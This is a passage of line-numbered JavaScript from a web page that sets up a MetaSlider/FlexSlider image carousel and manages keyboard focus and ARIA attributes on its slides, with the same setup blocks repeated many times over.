li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3801 3802 // Disable focusable elements in cloned slides (these should never be focusable) 3803 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3804 } 3805 3806 // Initial setup 3807 disableAriaHiddenFocusableElements(); 3808 3809 // Observer for aria-hidden and clone changes 3810 if (typeof MutationObserver !== 'undefined') { 3811 var ariaObserver = new MutationObserver(function(mutations) { 3812 var shouldUpdate = false; 3813 mutations.forEach(function(mutation) { 3814 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 3815 shouldUpdate = true; 3816 } 3817 if (mutation.type === 'childList') { 3818 // Check if cloned slides were added/removed 3819 for (var i = 0; i < mutation.addedNodes.length; i++) { 3820 if (mutation.addedNodes[i].nodeType === 1 && 3821 (mutation.addedNodes[i].classList.contains('clone') || 3822 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 3823 shouldUpdate = true; 3824 break; 3825 } 3826 } 3827 } 3828 }); 3829 if (shouldUpdate) { 3830 setTimeout(disableAriaHiddenFocusableElements, 10); 3831 } 3832 }); 3833 3834 var targetNode = $('#metaslider_4316')[0]; 3835 if (targetNode) { 3836 ariaObserver.observe(targetNode, { 3837 attributes: true, 3838 attributeFilter: ['aria-hidden'], 3839 childList: true, 3840 subtree: true 3841 }); 3842 } 3843 } 3844 3845 3846 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3847 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3848 3849 document.addEventListener('click', function (event) { 3850 if (event.target.closest('[role=\'tab\']')) { 3851 $('#metaslider_4316').resize(); 3852 } 3853 }); 3854 3855 // Wait for DOM to be ready and FlexSlider to render controls 3856 setTimeout(function() { 3857 var nav = $('#metaslider_4316 .flex-control-nav'); 3858 if (nav.length) { 3859 nav.attr('role', 'tablist'); 3860 } 3861 3862 function updateSliderTabindex() { 3863 var slider_ = $('#metaslider_4316'); 3864 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3865 slider_.is('[aria-hidden="true"]') || 3866 !slider_.is(':visible'); 3867 3868 if (isSliderHidden) { 3869 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 3870 } else { 3871 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3872 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3873 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3874 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3875 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3876 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3877 } 3878 } 3879 3880 updateSliderTabindex(); 3881 3882 if (typeof MutationObserver !== 'undefined') { 3883 var observer = new MutationObserver(function(mutations) { 3884 var shouldUpdate = false;
3885 mutations.forEach(function(mutation) { 3886 if (mutation.type === 'attributes' && 3887 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 3888 shouldUpdate = true; 3889 } 3890 if (mutation.type === 'childList') { 3891 shouldUpdate = true; 3892 } 3893 }); 3894 if (shouldUpdate) { 3895 updateSliderTabindex(); 3896 } 3897 }); 3898 3899 var targetNode = $('#metaslider_4316')[0]; 3900 if (targetNode) { 3901 observer.observe(targetNode, { 3902 attributes: true, 3903 attributeFilter: ['aria-hidden', 'style', 'class'], 3904 childList: true, 3905 subtree: true 3906 }); 3907 3908 var parent = targetNode.parentNode; 3909 while (parent && parent !== document.body) { 3910 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 3911 parent = parent.parentNode; 3912 } 3913 } 3914 } 3915 }, 0); 3916 3917 3918 // Function to disable focusable elements in aria-hidden slides 3919 function disableAriaHiddenFocusableElements() { 3920 var slider_ = $('#metaslider_4316'); 3921 3922 // Disable focusable elements in slides with aria-hidden='true' 3923 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3924 3925 // Disable focusable elements in cloned slides (these should never be focusable) 3926 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3927 } 3928 3929 // Initial setup 3930 disableAriaHiddenFocusableElements(); 3931 3932 // Observer for aria-hidden and clone changes 3933 if (typeof MutationObserver !== 'undefined') { 3934 var ariaObserver = new MutationObserver(function(mutations) { 3935 var shouldUpdate = false; 3936 mutations.forEach(function(mutation) { 3937 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 3938 shouldUpdate = true; 3939 } 3940 if (mutation.type === 'childList') { 3941 // Check if cloned slides were added/removed 3942 for (var i = 0; i < mutation.addedNodes.length; i++) { 3943 if (mutation.addedNodes[i].nodeType === 1 && 3944 (mutation.addedNodes[i].classList.contains('clone') || 3945 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 3946 shouldUpdate = true; 3947 break; 3948 } 3949 } 3950 } 3951 }); 3952 if (shouldUpdate) { 3953 setTimeout(disableAriaHiddenFocusableElements, 10); 3954 } 3955 }); 3956 3957 var targetNode = $('#metaslider_4316')[0]; 3958 if (targetNode) { 3959 ariaObserver.observe(targetNode, { 3960 attributes: true, 3961 attributeFilter: ['aria-hidden'], 3962 childList: true, 3963 subtree: true 3964 }); 3965 } 3966 } 3967 3968 3969 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3970 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3971 3972 document.addEventListener('click', function (event) { 3973 if (event.target.closest('[role=\'tab\']')) { 3974 $('#metaslider_4316').resize(); 3975 } 3976 }); 3977 }, 3978 after: function(slider) { 3979 3980 // Update tabindex after slide change, respecting aria-hidden state 3981 var slider_ = $('#metaslider_4316'); 3982 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3983 slider_.is('[aria-hidden="true"]') || 3984 !slider_.is(':visible'); 3985 3986 if (!isSliderHidden) { 3987 // Disable focusable elements in slides with aria-hidden='true' 3988 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3989 3990 // Disable focusable elements in cloned slides 3991 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3992 3993 // Normal focus management for navigation 3994 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3995 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3996 3997 // Only allow focus on active slide that's not aria-hidden or cloned 3998 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3999 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4000 } 4001 4002 4003 // Re-disable focusable elements after slide transitions 4004 var slider_ = $('#metaslider_4316'); 4005 4006 // Disable focusable elements in slides with aria-hidden='true' 4007 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
4007([tabindex="-1"])').attr('tabindex', '-1'); 4008 4009 // Disable focusable elements in cloned slides 4010 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4011 4012 4013 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4014 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4015 4016 4017 // Update tabindex after slide change, respecting aria-hidden state 4018 var slider_ = $('#metaslider_4316'); 4019 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4020 slider_.is('[aria-hidden="true"]') || 4021 !slider_.is(':visible'); 4022 4023 if (!isSliderHidden) { 4024 // Disable focusable elements in slides with aria-hidden='true' 4025 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4026 4027 // Disable focusable elements in cloned slides 4028 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4029 4030 // Normal focus management for navigation 4031 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4032 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4033 4034 // Only allow focus on active slide that's not aria-hidden or cloned 4035 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4036 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4037 } 4038 4039 4040 // Re-disable focusable elements after slide transitions 4041 var slider_ = $('#metaslider_4316'); 4042 4043 // Disable focusable elements in slides with aria-hidden='true' 4044 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4045 4046 // Disable focusable elements in cloned slides 4047 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4048 4049 4050 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4051 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4052 4053 4054 // Update tabindex after slide change, respecting aria-hidden state 4055 var slider_ = $('#metaslider_4316'); 4056 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4057 slider_.is('[aria-hidden="true"]') || 4058 !slider_.is(':visible'); 4059 4060 if (!isSliderHidden) { 4061 // Disable focusable elements in slides with aria-hidden='true' 4062 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4063 4064 // Disable focusable elements in cloned slides 4065 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4066 4067 // Normal focus management for navigation 4068 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4069 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4070 4071 // Only allow focus on active slide that's not aria-hidden or cloned 4072 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4073 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4074 } 4075 4076 4077 // Re-disable focusable elements after slide transitions 4078 var slider_ = $('#metaslider_4316'); 4079 4080 // Disable focusable elements in slides with aria-hidden='true' 4081 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
4081([tabindex="-1"])').attr('tabindex', '-1'); 4082 4083 // Disable focusable elements in cloned slides 4084 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4085 4086 4087 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4088 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4089 4090 4091 // Update tabindex after slide change, respecting aria-hidden state 4092 var slider_ = $('#metaslider_4316'); 4093 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4094 slider_.is('[aria-hidden="true"]') || 4095 !slider_.is(':visible'); 4096 4097 if (!isSliderHidden) { 4098 // Disable focusable elements in slides with aria-hidden='true' 4099 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4100 4101 // Disable focusable elements in cloned slides 4102 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4103 4104 // Normal focus management for navigation 4105 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4106 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4107 4108 // Only allow focus on active slide that's not aria-hidden or cloned 4109 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4110 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4111 } 4112 4113 4114 // Re-disable focusable elements after slide transitions 4115 var slider_ = $('#metaslider_4316'); 4116 4117 // Disable focusable elements in slides with aria-hidden='true' 4118 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4119 4120 // Disable focusable elements in cloned slides 4121 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4122 4123 4124 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4125 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4126 4127 4128 // Update tabindex after slide change, respecting aria-hidden state 4129 var slider_ = $('#metaslider_4316'); 4130 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4131 slider_.is('[aria-hidden="true"]') || 4132 !slider_.is(':visible'); 4133 4134 if (!isSliderHidden) { 4135 // Disable focusable elements in slides with aria-hidden='true' 4136 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4137 4138 // Disable focusable elements in cloned slides 4139 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4140 4141 // Normal focus management for navigation 4142 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4143 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4144 4145 // Only allow focus on active slide that's not aria-hidden or cloned 4146 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4147 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4148 } 4149 4150 4151 // Re-disable focusable elements after slide transitions 4152 var slider_ = $('#metaslider_4316'); 4153 4154 // Disable focusable elements in slides with aria-hidden='true' 4155 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
4155([tabindex="-1"])').attr('tabindex', '-1'); 4156 4157 // Disable focusable elements in cloned slides 4158 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4159 4160 4161 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4162 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4163 4164 } 4165 }); 4166 $(document).trigger('metaslider/initialized', '#metaslider_4316'); 4167 }; 4168 var timer_metaslider_4316 = function() { 4169 var slider = !window.jQuery ? window.setTimeout(timer_metaslider_4316, 100) : !jQuery.isReady ? window.setTimeout(timer_metaslider_4316, 1) : metaslider_4316(window.jQuery); 4170 }; 4171 timer_metaslider_4316(); 4172var metaslider_4316 = function($) {$('#metaslider_4316').addClass('flexslider'); 4173 $('#metaslider_4316').flexslider({ 4174 slideshowSpeed:3000, 4175 animation:"slide", 4176 controlNav:true, 4177 directionNav:true, 4178 pauseOnHover:false, 4179 direction:"horizontal", 4180 reverse:false, 4181 keyboard:true, 4182 touch:true, 4183 animationSpeed:600, 4184 prevText:"Previous", 4185 nextText:"Next", 4186 smoothHeight:false, 4187 fadeFirstSlide:false, 4188 easing:"linear", 4189 slideshow:true, 4190 pausePlay:false, 4191 showPlayText:false, 4192 playText:false, 4193 pauseText:false, 4194 start: function(slider) { 4195 slider.find('.flex-prev').attr('aria-label', 'Previous'); 4196 slider.find('.flex-next').attr('aria-label', 'Next'); 4197 slider.find('.flex-prev').attr('aria-label', 'Previous'); 4198 slider.find('.flex-next').attr('aria-label', 'Next'); 4199 slider.find('.flex-prev').attr('aria-label', 'Previous'); 4200 slider.find('.flex-next').attr('aria-label', 'Next'); 4201 slider.find('.flex-prev').attr('aria-label', 'Previous'); 4202 slider.find('.flex-next').attr('aria-label', 'Next'); 4203 slider.find('.flex-prev').attr('aria-label', 'Previous'); 4204 slider.find('.flex-next').attr('aria-label', 'Next'); 4205 slider.find('.flex-prev').attr('aria-label', 'Previous'); 4206 slider.find('.flex-next').attr('aria-label', 'Next'); 4207 4208 // Wait for DOM to be ready and FlexSlider to render controls 4209 setTimeout(function() { 4210 var nav = $('#metaslider_4316 .flex-control-nav'); 4211 if (nav.length) { 4212 nav.attr('role', 'tablist'); 4213 } 4214 4215 function updateSliderTabindex() { 4216 var slider_ = $('#metaslider_4316'); 4217 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4218 slider_.is('[aria-hidden="true"]') || 4219 !slider_.is(':visible'); 4220 4221 if (isSliderHidden) { 4222 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 4223 } else { 4224 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4225 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4226 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4227 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4228 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4229 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4230 } 4231 } 4232 4233 updateSliderTabindex(); 4234 4235 if (typeof MutationObserver !== 'undefined') { 4236 var observer = new MutationObserver(function(mutations) { 4237 var shouldUpdate = false;
4238 mutations.forEach(function(mutation) { 4239 if (mutation.type === 'attributes' && 4240 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 4241 shouldUpdate = true; 4242 } 4243 if (mutation.type === 'childList') { 4244 shouldUpdate = true; 4245 } 4246 }); 4247 if (shouldUpdate) { 4248 updateSliderTabindex(); 4249 } 4250 }); 4251 4252 var targetNode = $('#metaslider_4316')[0]; 4253 if (targetNode) { 4254 observer.observe(targetNode, { 4255 attributes: true, 4256 attributeFilter: ['aria-hidden', 'style', 'class'], 4257 childList: true, 4258 subtree: true 4259 }); 4260 4261 var parent = targetNode.parentNode; 4262 while (parent && parent !== document.body) { 4263 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 4264 parent = parent.parentNode; 4265 } 4266 } 4267 } 4268 }, 0); 4269 4270 4271 // Function to disable focusable elements in aria-hidden slides 4272 function disableAriaHiddenFocusableElements() { 4273 var slider_ = $('#metaslider_4316'); 4274 4275 // Disable focusable elements in slides with aria-hidden='true' 4276 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4277 4278 // Disable focusable elements in cloned slides (these should never be focusable) 4279 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4280 } 4281 4282 // Initial setup 4283 disableAriaHiddenFocusableElements(); 4284 4285 // Observer for aria-hidden and clone changes 4286 if (typeof MutationObserver !== 'undefined') { 4287 var ariaObserver = new MutationObserver(function(mutations) { 4288 var shouldUpdate = false; 4289 mutations.forEach(function(mutation) { 4290 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 4291 shouldUpdate = true; 4292 } 4293 if (mutation.type === 'childList') { 4294 // Check if cloned slides were added/removed 4295 for (var i = 0; i < mutation.addedNodes.length; i++) { 4296 if (mutation.addedNodes[i].nodeType === 1 && 4297 (mutation.addedNodes[i].classList.contains('clone') || 4298 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 4299 shouldUpdate = true; 4300 break; 4301 } 4302 } 4303 } 4304 }); 4305 if (shouldUpdate) { 4306 setTimeout(disableAriaHiddenFocusableElements, 10); 4307 } 4308 }); 4309 4310 var targetNode = $('#metaslider_4316')[0]; 4311 if (targetNode) { 4312 ariaObserver.observe(targetNode, { 4313 attributes: true, 4314 attributeFilter: ['aria-hidden'], 4315 childList: true, 4316 subtree: true 4317 }); 4318 } 4319 } 4320 4321 4322 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4323 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4324 4325 document.addEventListener('click', function (event) { 4326 if (event.target.closest('[role=\'tab\']')) { 4327 $('#metaslider_4316').resize(); 4328 } 4329 }); 4330 4331 // Wait for DOM to be ready and FlexSlider to render controls 4332 setTimeout(function() { 4333 var nav = $('#metaslider_4316 .flex-control-nav'); 4334 if (nav.length) { 4335 nav.attr('role', 'tablist'); 4336 } 4337 4338 function updateSliderTabindex() { 4339 var slider_ = $('#metaslider_4316'); 4340 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4341 slider_.is('[aria-hidden="true"]') || 4342 !slider_.is(':visible'); 4343 4344 if (isSliderHidden) { 4345 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 4346 } else { 4347 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4348 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4349 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4350 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4351 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4352 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4353 } 4354 } 4355 4356 updateSliderTabindex(); 4357 4358 if (typeof MutationObserver !== 'undefined') { 4359 var observer = new MutationObserver(function(mutations) { 4360 var shouldUpdate = false;
4361 mutations.forEach(function(mutation) { 4362 if (mutation.type === 'attributes' && 4363 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 4364 shouldUpdate = true; 4365 } 4366 if (mutation.type === 'childList') { 4367 shouldUpdate = true; 4368 } 4369 }); 4370 if (shouldUpdate) { 4371 updateSliderTabindex(); 4372 } 4373 }); 4374 4375 var targetNode = $('#metaslider_4316')[0]; 4376 if (targetNode) { 4377 observer.observe(targetNode, { 4378 attributes: true, 4379 attributeFilter: ['aria-hidden', 'style', 'class'], 4380 childList: true, 4381 subtree: true 4382 }); 4383 4384 var parent = targetNode.parentNode; 4385 while (parent && parent !== document.body) { 4386 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 4387 parent = parent.parentNode; 4388 } 4389 } 4390 } 4391 }, 0); 4392 4393 4394 // Function to disable focusable elements in aria-hidden slides 4395 function disableAriaHiddenFocusableElements() { 4396 var slider_ = $('#metaslider_4316'); 4397 4398 // Disable focusable elements in slides with aria-hidden='true' 4399 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4400 4401 // Disable focusable elements in cloned slides (these should never be focusable) 4402 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4403 } 4404 4405 // Initial setup 4406 disableAriaHiddenFocusableElements(); 4407 4408 // Observer for aria-hidden and clone changes 4409 if (typeof MutationObserver !== 'undefined') { 4410 var ariaObserver = new MutationObserver(function(mutations) { 4411 var shouldUpdate = false; 4412 mutations.forEach(function(mutation) { 4413 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 4414 shouldUpdate = true; 4415 } 4416 if (mutation.type === 'childList') { 4417 // Check if cloned slides were added/removed 4418 for (var i = 0; i < mutation.addedNodes.length; i++) { 4419 if (mutation.addedNodes[i].nodeType === 1 && 4420 (mutation.addedNodes[i].classList.contains('clone') || 4421 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 4422 shouldUpdate = true; 4423 break; 4424 } 4425 } 4426 } 4427 }); 4428 if (shouldUpdate) { 4429 setTimeout(disableAriaHiddenFocusableElements, 10); 4430 } 4431 }); 4432 4433 var targetNode = $('#metaslider_4316')[0]; 4434 if (targetNode) { 4435 ariaObserver.observe(targetNode, { 4436 attributes: true, 4437 attributeFilter: ['aria-hidden'], 4438 childList: true, 4439 subtree: true 4440 }); 4441 } 4442 } 4443 4444 4445 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4446 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4447 4448 document.addEventListener('click', function (event) { 4449 if (event.target.closest('[role=\'tab\']')) { 4450 $('#metaslider_4316').resize(); 4451 } 4452 }); 4453 4454 // Wait for DOM to be ready and FlexSlider to render controls 4455 setTimeout(function() { 4456 var nav = $('#metaslider_4316 .flex-control-nav'); 4457 if (nav.length) { 4458 nav.attr('role', 'tablist'); 4459 } 4460 4461 function updateSliderTabindex() { 4462 var slider_ = $('#metaslider_4316'); 4463 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4464 slider_.is('[aria-hidden="true"]') || 4465 !slider_.is(':visible'); 4466 4467 if (isSliderHidden) { 4468 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 4469 } else { 4470 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4471 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4472 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4473 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4474 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4475 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4476 } 4477 } 4478 4479 updateSliderTabindex(); 4480 4481 if (typeof MutationObserver !== 'undefined') { 4482 var observer = new MutationObserver(function(mutations) { 4483 var shouldUpdate = false;
4484 mutations.forEach(function(mutation) { 4485 if (mutation.type === 'attributes' && 4486 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 4487 shouldUpdate = true; 4488 } 4489 if (mutation.type === 'childList') { 4490 shouldUpdate = true; 4491 } 4492 }); 4493 if (shouldUpdate) { 4494 updateSliderTabindex(); 4495 } 4496 }); 4497 4498 var targetNode = $('#metaslider_4316')[0]; 4499 if (targetNode) { 4500 observer.observe(targetNode, { 4501 attributes: true, 4502 attributeFilter: ['aria-hidden', 'style', 'class'], 4503 childList: true, 4504 subtree: true 4505 }); 4506 4507 var parent = targetNode.parentNode; 4508 while (parent && parent !== document.body) { 4509 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 4510 parent = parent.parentNode; 4511 } 4512 } 4513 } 4514 }, 0); 4515 4516 4517 // Function to disable focusable elements in aria-hidden slides 4518 function disableAriaHiddenFocusableElements() { 4519 var slider_ = $('#metaslider_4316'); 4520 4521 // Disable focusable elements in slides with aria-hidden='true' 4522 slider_.find('.slides 